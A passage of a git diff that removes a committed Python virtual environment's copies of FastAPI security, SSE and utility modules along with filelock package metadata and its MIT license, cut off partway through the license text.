OAuth2(SecurityBase): - """ - This is the base class for OAuth2 authentication, an instance of it would be used - as a dependency. All other OAuth2 classes inherit from it and customize it for - each OAuth2 flow. - - You normally would not create a new class inheriting from it but use one of the - existing subclasses, and maybe compose them if you want to support multiple flows. - - Read more about it in the - [FastAPI docs for Security](https://fastapi.tiangolo.com/tutorial/security/). - """ - - def __init__( - self, - *, - flows: Annotated[ - OAuthFlowsModel | dict[str, dict[str, Any]], - Doc( - """ - The dictionary of OAuth2 flows. - """ - ), - ] = OAuthFlowsModel(), - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if no HTTP Authorization header is provided, required for - OAuth2 authentication, it will automatically cancel the request and - send the client an error. - - If `auto_error` is set to `False`, when the HTTP Authorization header - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, with OAuth2 - or in a cookie). - """ - ), - ] = True, - ): - self.model = OAuth2Model( - flows=cast(OAuthFlowsModel, flows), description=description - ) - self.scheme_name = scheme_name or self.__class__.__name__ - self.auto_error = auto_error - - def make_not_authenticated_error(self) -> HTTPException: - """ - The OAuth 2 specification doesn't define the challenge that should be used, - because a `Bearer` token is not really the only option to authenticate. - - But declaring any other authentication challenge would be application-specific - as it's not defined in the specification. - - For practical reasons, this method uses the `Bearer` challenge by default, as - it's probably the most common one. - - If you are implementing an OAuth2 authentication scheme other than the provided - ones in FastAPI (based on bearer tokens), you might want to override this. - - Ref: https://datatracker.ietf.org/doc/html/rfc6749 - """ - return HTTPException( - status_code=HTTP_401_UNAUTHORIZED, - detail="Not authenticated", - headers={"WWW-Authenticate": "Bearer"}, - ) - - async def __call__(self, request: Request) -> str | None: - authorization = request.headers.get("Authorization") - if not authorization: - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return authorization - - -class OAuth2PasswordBearer(OAuth2): - """ - OAuth2 flow for authentication using a bearer token obtained with a password. - An instance of it would be used as a dependency. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - - def __init__( - self, - tokenUrl: Annotated[ - str, - Doc( - """ - The URL to obtain the OAuth2 token. This would be the *path operation* - that has `OAuth2PasswordRequestForm` as a dependency. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - scopes: Annotated[ - dict[str, str] | None, - Doc( - """ - The OAuth2 scopes that would be required by the *path operations* that - use this dependency. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if no HTTP Authorization header is provided, required for - OAuth2 authentication, it will automatically cancel the request and - send the client an error. - - If `auto_error` is set to `False`, when the HTTP Authorization header - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, with OAuth2 - or in a cookie). - """ - ), - ] = True, - refreshUrl: Annotated[ - str | None, - Doc( - """ - The URL to refresh the token and obtain a new one. - """ - ), - ] = None, - ): - if not scopes: - scopes = {} - flows = OAuthFlowsModel( - password=cast( - Any, - { - "tokenUrl": tokenUrl, - "refreshUrl": refreshUrl, - "scopes": scopes, - }, - ) - ) - super().__init__( - flows=flows, - scheme_name=scheme_name, - description=description, - auto_error=auto_error, - ) - - async def __call__(self, request: Request) -> str | None: - authorization = request.headers.get("Authorization") - scheme, param = get_authorization_scheme_param(authorization) - if not authorization or scheme.lower() != "bearer": - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return param - - -class OAuth2AuthorizationCodeBearer(OAuth2): - """ - OAuth2 flow for authentication using a bearer token obtained with an OAuth2 code - flow. An instance of it would be used as a dependency. - """ - - def __init__( - self, - authorizationUrl: str, - tokenUrl: Annotated[ - str, - Doc( - """ - The URL to obtain the OAuth2 token. - """ - ), - ], - refreshUrl: Annotated[ - str | None, - Doc( - """ - The URL to refresh the token and obtain a new one. - """ - ), - ] = None, - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - scopes: Annotated[ - dict[str, str] | None, - Doc( - """ - The OAuth2 scopes that would be required by the *path operations* that - use this dependency. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if no HTTP Authorization header is provided, required for - OAuth2 authentication, it will automatically cancel the request and - send the client an error. - - If `auto_error` is set to `False`, when the HTTP Authorization header - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, with OAuth2 - or in a cookie). - """ - ), - ] = True, - ): - if not scopes: - scopes = {} - flows = OAuthFlowsModel( - authorizationCode=cast( - Any, - { - "authorizationUrl": authorizationUrl, - "tokenUrl": tokenUrl, - "refreshUrl": refreshUrl, - "scopes": scopes, - }, - ) - ) - super().__init__( - flows=flows, - scheme_name=scheme_name, - description=description, - auto_error=auto_error, - ) - - async def __call__(self, request: Request) -> str | None: - authorization = request.headers.get("Authorization") - scheme, param = get_authorization_scheme_param(authorization) - if not authorization or scheme.lower() != "bearer": - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None # pragma: nocover - return param - - -class SecurityScopes: - """ - This is a special class that you can define in a parameter in a dependency to - obtain the OAuth2 scopes required by all the dependencies in the same chain. - - This way, multiple dependencies can have different scopes, even when used in the - same *path operation*. And with this, you can access all the scopes required in - all those dependencies in a single place. - - Read more about it in the - [FastAPI docs for OAuth2 scopes](https://fastapi.tiangolo.com/advanced/security/oauth2-scopes/). - """ - - def __init__( - self, - scopes: Annotated[ - list[str] | None, - Doc( - """ - This will be filled by FastAPI. - """ - ), - ] = None, - ): - self.scopes: Annotated[ - list[str], - Doc( - """ - The list of all the scopes required by dependencies. - """ - ), - ] = scopes or [] - self.scope_str: Annotated[ - str, - Doc( - """ - All the scopes required by all the dependencies in a single string - separated by spaces, as defined in the OAuth2 specification. - """ - ), - ] = " ".join(self.scopes) diff --git a/venv/Lib/site-packages/fastapi/security/open_id_connect_url.py b/venv/Lib/site-packages/fastapi/security/open_id_connect_url.py deleted file mode 100644 index 125a81943183c818d3831f9bb2555a3881c903a1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/open_id_connect_url.py +++ /dev/null @@ -1,94 +0,0 @@ -from typing import Annotated - -from annotated_doc import Doc -from fastapi.openapi.models import OpenIdConnect as OpenIdConnectModel -from fastapi.security.base import SecurityBase -from starlette.exceptions import HTTPException -from starlette.requests import Request -from starlette.status import HTTP_401_UNAUTHORIZED - - -class OpenIdConnect(SecurityBase): - """ - OpenID Connect authentication class. An instance of it would be used as a - dependency. - - **Warning**: this is only a stub to connect the components with OpenAPI in FastAPI, - but it doesn't implement the full OpenIdConnect scheme, for example, it doesn't use - the OpenIDConnect URL. You would need to subclass it and implement it in your - code. - """ - - def __init__( - self, - *, - openIdConnectUrl: Annotated[ - str, - Doc( - """ - The OpenID Connect URL. - """ - ), - ], - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if no HTTP Authorization header is provided, required for - OpenID Connect authentication, it will automatically cancel the request - and send the client an error. - - If `auto_error` is set to `False`, when the HTTP Authorization header - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, with OpenID - Connect or in a cookie). - """ - ), - ] = True, - ): - self.model = OpenIdConnectModel( - openIdConnectUrl=openIdConnectUrl, description=description - ) - self.scheme_name = scheme_name or self.__class__.__name__ - self.auto_error = auto_error - - def make_not_authenticated_error(self) -> HTTPException: - return HTTPException( - status_code=HTTP_401_UNAUTHORIZED, - detail="Not authenticated", - headers={"WWW-Authenticate": "Bearer"}, - ) - - async def __call__(self, request: Request) -> str | None: - authorization = request.headers.get("Authorization") - if not authorization: - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return authorization diff --git a/venv/Lib/site-packages/fastapi/security/utils.py b/venv/Lib/site-packages/fastapi/security/utils.py deleted file mode 100644 index 8ee66fd3812be2af9d9a3587feffb83cd8e512c3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/utils.py +++ /dev/null @@ -1,7 +0,0 @@ -def get_authorization_scheme_param( - authorization_header_value: str | None, -) -> tuple[str, str]: - if not authorization_header_value: - return "", "" - scheme, _, param = authorization_header_value.partition(" ") - return scheme, param.strip() diff --git a/venv/Lib/site-packages/fastapi/sse.py b/venv/Lib/site-packages/fastapi/sse.py deleted file mode 100644 index c31334835032570d8244526a623ac249ffc77284..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/sse.py +++ /dev/null @@ -1,241 +0,0 @@ -from typing import Annotated, Any - -from annotated_doc import Doc -from pydantic import AfterValidator, BaseModel, Field, model_validator -from starlette.responses import StreamingResponse - -# Canonical SSE event schema matching the OpenAPI 3.2 spec -# (Section 4.14.4 "Special Considerations for Server-Sent Events") -_SSE_EVENT_SCHEMA: dict[str, Any] = { - "type": "object", - "properties": { - "data": {"type": "string"}, - "event": {"type": "string"}, - "id": {"type": "string"}, - "retry": {"type": "integer", "minimum": 0}, - }, -} - - -class EventSourceResponse(StreamingResponse): - """Streaming response with `text/event-stream` media type. - - Use as `response_class=EventSourceResponse` on a *path operation* that uses `yield` - to enable Server Sent Events (SSE) responses. - - Works with **any HTTP method** (`GET`, `POST`, etc.), which makes it compatible - with protocols like MCP that stream SSE over `POST`. - - The actual encoding logic lives in the FastAPI routing layer. This class - serves mainly as a marker and sets the correct `Content-Type`. - """ - - media_type = "text/event-stream" - - -def _check_single_line(v: str | None, field_name: str) -> str | None: - if v is not None and ("\r" in v or "\n" in v): - raise ValueError(f"SSE '{field_name}' must be a single line") - return v - - -def _check_event_single_line(v: str | None) -> str | None: - return _check_single_line(v, "event") - - -def _check_id_valid(v: str | None) -> str | None: - if v is not None and "\0" in v: - raise ValueError("SSE 'id' must not contain null characters") - return _check_single_line(v, "id") - - -class ServerSentEvent(BaseModel): - """Represents a single Server-Sent Event. - - When `yield`ed from a *path operation function* that uses - `response_class=EventSourceResponse`, each `ServerSentEvent` is encoded - into the [SSE wire format](https://html.spec.whatwg.org/multipage/server-sent-events.html#parsing-an-event-stream) - (`text/event-stream`). - - If you yield a plain object (dict, Pydantic model, etc.) instead, it is - automatically JSON-encoded and sent as the `data:` field. - - All `data` values **including plain strings** are JSON-serialized. - - For example, `data="hello"` produces `data: "hello"` on the wire (with - quotes). - """ - - data: Annotated[ - Any, - Doc( - """ - The event payload. - - Can be any JSON-serializable value: a Pydantic model, dict, list, - string, number, etc. It is **always** serialized to JSON: strings - are quoted (`"hello"` becomes `data: "hello"` on the wire). - - Mutually exclusive with `raw_data`. - """ - ), - ] = None - raw_data: Annotated[ - str | None, - Doc( - """ - Raw string to send as the `data:` field **without** JSON encoding. - - Use this when you need to send pre-formatted text, HTML fragments, - CSV lines, or any non-JSON payload. The string is placed directly - into the `data:` field as-is. - - Mutually exclusive with `data`. - """ - ), - ] = None - event: Annotated[ - str | None, - AfterValidator(_check_event_single_line), - Doc( - """ - Optional event type name. - - Maps to `addEventListener(event, ...)` on the browser. When omitted, - the browser dispatches on the generic `message` event. Must be a - single line. - """ - ), - ] = None - id: Annotated[ - str | None, - AfterValidator(_check_id_valid), - Doc( - """ - Optional event ID. - - The browser sends this value back as the `Last-Event-ID` header on - automatic reconnection. **Must be a single line** and must not contain - null (`\\0`) characters. - """ - ), - ] = None - retry: Annotated[ - int | None, - Field(ge=0), - Doc( - """ - Optional reconnection time in **milliseconds**. - - Tells the browser how long to wait before reconnecting after the - connection is lost. Must be a non-negative integer. - """ - ), - ] = None - comment: Annotated[ - str | None, - Doc( - """ - Optional comment line(s). - - Comment lines start with `:` in the SSE wire format and are ignored by - `EventSource` clients. Useful for keep-alive pings to prevent - proxy/load-balancer timeouts. - """ - ), - ] = None - - @model_validator(mode="after") - def _check_data_exclusive(self) -> "ServerSentEvent": - if self.data is not None and self.raw_data is not None: - raise ValueError( - "Cannot set both 'data' and 'raw_data' on the same " - "ServerSentEvent. Use 'data' for JSON-serialized payloads " - "or 'raw_data' for pre-formatted strings." - ) - return self - - -def _split_sse_lines(value: str) -> list[str]: - # Split on SSE-spec line terminators only (\n, \r\n, \r), preserving - # trailing empty strings. - return value.replace("\r\n", "\n").replace("\r", "\n").split("\n") - - -def format_sse_event( - *, - data_str: Annotated[ - str | None, - Doc( - """ - Pre-serialized data string to use as the `data:` field. - """ - ), - ] = None, - event: Annotated[ - str | None, - Doc( - """ - Optional event type name (`event:` field). - """ - ), - ] = None, - id: Annotated[ - str | None, - Doc( - """ - Optional event ID (`id:` field). - """ - ), - ] = None, - retry: Annotated[ - int | None, - Doc( - """ - Optional reconnection time in milliseconds (`retry:` field). - """ - ), - ] = None, - comment: Annotated[ - str | None, - Doc( - """ - Optional comment line(s) (`:` prefix). - """ - ), - ] = None, -) -> bytes: - """Build SSE wire-format bytes from **pre-serialized** data. - - The result always ends with `\\n\\n` (the event terminator). - """ - lines: list[str] = [] - - if comment is not None: - for line in _split_sse_lines(comment): - lines.append(f": {line}") - - if event is not None: - lines.append(f"event: {event}") - - if data_str is not None: - for line in _split_sse_lines(data_str): - lines.append(f"data: {line}") - - if id is not None: - lines.append(f"id: {id}") - - if retry is not None: - lines.append(f"retry: {retry}") - - lines.append("") - lines.append("") - return "\n".join(lines).encode("utf-8") - - -# Keep-alive comment, per the SSE spec recommendation -KEEPALIVE_COMMENT = b": ping\n\n" - -# Seconds between keep-alive pings when a generator is idle. -# Private but importable so tests can monkeypatch it. -_PING_INTERVAL: float = 15.0 diff --git a/venv/Lib/site-packages/fastapi/staticfiles.py b/venv/Lib/site-packages/fastapi/staticfiles.py deleted file mode 100644 index 299015d4fef268cde91273790251f35192e1c8a6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/staticfiles.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.staticfiles import StaticFiles as StaticFiles # noqa diff --git a/venv/Lib/site-packages/fastapi/templating.py b/venv/Lib/site-packages/fastapi/templating.py deleted file mode 100644 index 0cb868486edd9dda38f90c65f314597813128cf8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/templating.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.templating import Jinja2Templates as Jinja2Templates # noqa diff --git a/venv/Lib/site-packages/fastapi/testclient.py b/venv/Lib/site-packages/fastapi/testclient.py deleted file mode 100644 index 4012406aa76f743c5c5d1ab8ff56d6d67cfb6653..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/testclient.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.testclient import TestClient as TestClient # noqa diff --git a/venv/Lib/site-packages/fastapi/types.py b/venv/Lib/site-packages/fastapi/types.py deleted file mode 100644 index 1fb86e13b126ff7d20432d414f00b6bc372554a6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/types.py +++ /dev/null @@ -1,12 +0,0 @@ -import types -from collections.abc import Callable -from enum import Enum -from typing import Any, TypeVar, Union - -from pydantic import BaseModel -from pydantic.main import IncEx as IncEx - -DecoratedCallable = TypeVar("DecoratedCallable", bound=Callable[..., Any]) -UnionType = getattr(types, "UnionType", Union) -ModelNameMap = dict[type[BaseModel] | type[Enum], str] -DependencyCacheKey = tuple[Callable[..., Any] | None, tuple[str, ...], str] diff --git a/venv/Lib/site-packages/fastapi/utils.py b/venv/Lib/site-packages/fastapi/utils.py deleted file mode 100644 index 12eaa2bf089c827f20a72dd82cbdb75deaac970a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/utils.py +++ /dev/null @@ -1,136 +0,0 @@ -import re -import warnings -from typing import ( - TYPE_CHECKING, - Any, - Literal, -) - -import fastapi -from fastapi._compat import ( - ModelField, - PydanticSchemaGenerationError, - Undefined, - annotation_is_pydantic_v1, -) -from fastapi.datastructures import DefaultPlaceholder, DefaultType -from fastapi.exceptions import FastAPIDeprecationWarning, PydanticV1NotSupportedError -from pydantic.fields import FieldInfo - -from ._compat import v2 - -if TYPE_CHECKING: # pragma: nocover - from .routing import APIRoute - - -def is_body_allowed_for_status_code(status_code: int | str | None) -> bool: - if status_code is None: - return True - # Ref: https://github.com/OAI/OpenAPI-Specification/blob/main/versions/3.1.0.md#patterned-fields-1 - if status_code in { - "default", - "1XX", - "2XX", - "3XX", - "4XX", - "5XX", - }: - return True - current_status_code = int(status_code) - return not (current_status_code < 200 or current_status_code in {204, 205, 304}) - - -def get_path_param_names(path: str) -> set[str]: - return set(re.findall("{(.*?)}", path)) - - -_invalid_args_message = ( - "Invalid args for response field! Hint: " - "check that {type_} is a valid Pydantic field type. " - "If you are using a return type annotation that is not a valid Pydantic " - "field (e.g. Union[Response, dict, None]) you can disable generating the " - "response model from the type annotation with the path operation decorator " - "parameter response_model=None. Read more: " - "https://fastapi.tiangolo.com/tutorial/response-model/" -) - - -def create_model_field( - name: str, - type_: Any, - default: Any | None = Undefined, - field_info: FieldInfo | None = None, - alias: str | None = None, - mode: Literal["validation", "serialization"] = "validation", -) -> ModelField: - if annotation_is_pydantic_v1(type_): - raise PydanticV1NotSupportedError( - "pydantic.v1 models are no longer supported by FastAPI." - f" Please update the response model {type_!r}." - ) - field_info = field_info or FieldInfo(annotation=type_, default=default, alias=alias) - try: - return v2.ModelField(mode=mode, name=name, field_info=field_info) - except PydanticSchemaGenerationError: - raise fastapi.exceptions.FastAPIError( - _invalid_args_message.format(type_=type_) - ) from None - - -def generate_operation_id_for_path( - *, name: str, path: str, method: str -) -> str: # pragma: nocover - warnings.warn( - message="fastapi.utils.generate_operation_id_for_path() was deprecated, " - "it is not used internally, and will be removed soon", - category=FastAPIDeprecationWarning, - stacklevel=2, - ) - operation_id = f"{name}{path}" - operation_id = re.sub(r"\W", "_", operation_id) - operation_id = f"{operation_id}_{method.lower()}" - return operation_id - - -def generate_unique_id(route: "APIRoute") -> str: - operation_id = f"{route.name}{route.path_format}" - operation_id = re.sub(r"\W", "_", operation_id) - assert route.methods - operation_id = f"{operation_id}_{list(route.methods)[0].lower()}" - return operation_id - - -def deep_dict_update(main_dict: dict[Any, Any], update_dict: dict[Any, Any]) -> None: - for key, value in update_dict.items(): - if ( - key in main_dict - and isinstance(main_dict[key], dict) - and isinstance(value, dict) - ): - deep_dict_update(main_dict[key], value) - elif ( - key in main_dict - and isinstance(main_dict[key], list) - and isinstance(update_dict[key], list) - ): - main_dict[key] = main_dict[key] + update_dict[key] - else: - main_dict[key] = value - - -def get_value_or_default( - first_item: DefaultPlaceholder | DefaultType, - *extra_items: DefaultPlaceholder | DefaultType, -) -> DefaultPlaceholder | DefaultType: - """ - Pass items or `DefaultPlaceholder`s by descending priority. - - The first one to _not_ be a `DefaultPlaceholder` will be returned. - - Otherwise, the first item (a `DefaultPlaceholder`) will be returned. - """ - items = (first_item,) + extra_items - for item in items: - if not isinstance(item, DefaultPlaceholder): - return item - return first_item diff --git a/venv/Lib/site-packages/fastapi/websockets.py b/venv/Lib/site-packages/fastapi/websockets.py deleted file mode 100644 index 55a4ac4a1a918720bb3b94eaea6f8737b968216a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/websockets.py +++ /dev/null @@ -1,3 +0,0 @@ -from starlette.websockets import WebSocket as WebSocket # noqa -from starlette.websockets import WebSocketDisconnect as WebSocketDisconnect # noqa -from starlette.websockets import WebSocketState as WebSocketState # noqa diff --git a/venv/Lib/site-packages/filelock-3.32.3.dist-info/INSTALLER b/venv/Lib/site-packages/filelock-3.32.3.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock-3.32.3.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/filelock-3.32.3.dist-info/METADATA b/venv/Lib/site-packages/filelock-3.32.3.dist-info/METADATA deleted file mode 100644 index 75966d754f22a572e62d00112744e8cdb6809e9a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock-3.32.3.dist-info/METADATA +++ /dev/null @@ -1,39 +0,0 @@ -Metadata-Version: 2.5 -Name: filelock -Version: 3.32.3 -Summary: A platform independent file lock. -Project-URL: Documentation, https://py-filelock.readthedocs.io -Project-URL: Homepage, https://github.com/tox-dev/py-filelock -Project-URL: Source, https://github.com/tox-dev/py-filelock -Project-URL: Tracker, https://github.com/tox-dev/py-filelock/issues -Maintainer-email: Bernát Gábor -License-Expression: MIT -License-File: LICENSE -Keywords: application,cache,directory,log,user -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: MIT License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Classifier: Topic :: Internet -Classifier: Topic :: Software Development :: Libraries -Classifier: Topic :: System -Requires-Python: >=3.10 -Description-Content-Type: text/markdown - -# filelock - -[![PyPI](https://img.shields.io/pypi/v/filelock)](https://pypi.org/project/filelock/) -[![Supported Python versions](https://img.shields.io/pypi/pyversions/filelock.svg)](https://pypi.org/project/filelock/) -[![Documentation status](https://readthedocs.org/projects/py-filelock/badge/?version=latest)](https://py-filelock.readthedocs.io/en/latest/?badge=latest) -[![Downloads](https://static.pepy.tech/badge/filelock/month)](https://pepy.tech/project/filelock) -[![check](https://github.com/tox-dev/py-filelock/actions/workflows/check.yaml/badge.svg)](https://github.com/tox-dev/py-filelock/actions/workflows/check.yaml) - -For more information checkout the [official documentation](https://py-filelock.readthedocs.io/en/latest/index.html). diff --git a/venv/Lib/site-packages/filelock-3.32.3.dist-info/RECORD b/venv/Lib/site-packages/filelock-3.32.3.dist-info/RECORD deleted file mode 100644 index 97f6930714fcc59f8f05ae81f609b796d03b7e59..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock-3.32.3.dist-info/RECORD +++ /dev/null @@ -1,48 +0,0 @@ -filelock-3.32.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -filelock-3.32.3.dist-info/METADATA,sha256=LYD0O9kFaJFFwAsxM7yViV1lTO1wqWoYAukjfg1mWZ8,2028 -filelock-3.32.3.dist-info/RECORD,, -filelock-3.32.3.dist-info/WHEEL,sha256=zOwg4jB6zX2kU910N-cMawjivD6tO8NEWvE12je1bVk,87 -filelock-3.32.3.dist-info/licenses/LICENSE,sha256=YIyJ1QYK6ZIa3M8yNmlbxlSplG4SMj72wCHfoE4pTUg,1088 -filelock/__init__.py,sha256=ZEhX0CozvRxFQwsm8YYc6uiLvuIYe-aoD20ACfjyizg,3469 -filelock/__pycache__/__init__.cpython-314.pyc,, -filelock/__pycache__/_api.cpython-314.pyc,, -filelock/__pycache__/_async.cpython-314.pyc,, -filelock/__pycache__/_async_read_write.cpython-314.pyc,, -filelock/__pycache__/_descriptor.cpython-314.pyc,, -filelock/__pycache__/_error.cpython-314.pyc,, -filelock/__pycache__/_identity.cpython-314.pyc,, -filelock/__pycache__/_lease.cpython-314.pyc,, -filelock/__pycache__/_marker.cpython-314.pyc,, -filelock/__pycache__/_read_write.cpython-314.pyc,, -filelock/__pycache__/_soft.cpython-314.pyc,, -filelock/__pycache__/_soft_protocol.cpython-314.pyc,, -filelock/__pycache__/_strict.cpython-314.pyc,, -filelock/__pycache__/_unix.cpython-314.pyc,, -filelock/__pycache__/_util.cpython-314.pyc,, -filelock/__pycache__/_windows.cpython-314.pyc,, -filelock/__pycache__/asyncio.cpython-314.pyc,, -filelock/__pycache__/version.cpython-314.pyc,, -filelock/_api.py,sha256=VWiuW2oWHrM9Fy3yRlsxre-daXjpmzCbJO43iFuYkJE,82436 -filelock/_async.py,sha256=rO6gt1h6ZvT2gw_0P1Xmf1jZs82kEipZ9xX4_rJUm3k,6111 -filelock/_async_read_write.py,sha256=ZAJJ02CALgZ6uhhWew4DefTtnEU7lslSoG-VjmMpDBs,13325 -filelock/_descriptor.py,sha256=ss1FfyEAyrZ1QB3LDXUtJHk5ZFAfSAaCdaa5Yp1Vzk4,2981 -filelock/_error.py,sha256=SfdLwQeooh81jIM1S4d1010ctZzXZBYBo78bJA1lEZs,2699 -filelock/_identity.py,sha256=dY_ngMJQJHm0fLD5TaGef12oOGeBAl9h0_7Xv1d3GMM,8415 -filelock/_lease.py,sha256=nEi4I02Ry3t8QSLYcctr36XV4jV6eLyaTyHo6zBeSKE,15152 -filelock/_marker.py,sha256=7VJWyyrh8wW8VywSTLLIR7OC__aNUn4zFnel5JdQwWI,6026 -filelock/_read_write.py,sha256=PBlLg_fbkqDcpRyJ5NkZgoWLR9DEUHM-1sQzBnZsOD8,32881 -filelock/_soft.py,sha256=ydpW15r3gGW2kBaHhj8FvnATQw5-kfXnSWyYhbEQNKA,13014 -filelock/_soft_protocol.py,sha256=qEM2x9Nz9zguXwwWjZsCsPEfas5nqHlJ-_oHvAM0Uo4,187 -filelock/_soft_rw/__init__.py,sha256=_ktpGmVObzrvL0K1_EAV3LF7B9JarYxW-mx_eyGPhT0,370 -filelock/_soft_rw/__pycache__/__init__.cpython-314.pyc,, -filelock/_soft_rw/__pycache__/_async.cpython-314.pyc,, -filelock/_soft_rw/__pycache__/_sync.cpython-314.pyc,, -filelock/_soft_rw/_async.py,sha256=oKDt9jgsRSAvx2ls9cA0AN2Lk0WlHc7bdmKTTCNjl9g,11492 -filelock/_soft_rw/_sync.py,sha256=XMC0kMoRBMoCAJqxK9bU_UW5o0KVQ5UmcdYqpp5j8kM,43201 -filelock/_strict.py,sha256=N5037nWAz2AF59LlyPMsOg4IwGL13D6x64hhQEn3vQQ,38823 -filelock/_unix.py,sha256=W95gKLjYivNZYLT3634o7l0pQfvU8SdBW_2C3bo3lLw,8722 -filelock/_util.py,sha256=gY839OXIttp1JOr9-FuhLTYYOoBtExkB2Nn50t8oxYQ,6356 -filelock/_windows.py,sha256=sLAk--cnOK1f-9RTuAAAOSjh4XBcxa0R3jy2w3XgUZs,15988 -filelock/asyncio.py,sha256=iE593J-CgUl3yAAGsnzitId4MtHDs5ne--F8N8oS6ys,34599 -filelock/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -filelock/version.py,sha256=7xrb9cafe38S02w7EZcEpqTbiGOe0tDHHrLpKSH8XgM,522 diff --git a/venv/Lib/site-packages/filelock-3.32.3.dist-info/WHEEL b/venv/Lib/site-packages/filelock-3.32.3.dist-info/WHEEL deleted file mode 100644 index 51abe1f5e66cc9d07fda22a3bbe1f89475795969..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock-3.32.3.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.32.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/filelock-3.32.3.dist-info/licenses/LICENSE b/venv/Lib/site-packages/filelock-3.32.3.dist-info/licenses/LICENSE deleted file mode 100644 index 291919c0b6f41d014767f6c877af9f7595fcff99..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock-3.32.3.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2025 Bernát Gábor and contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN 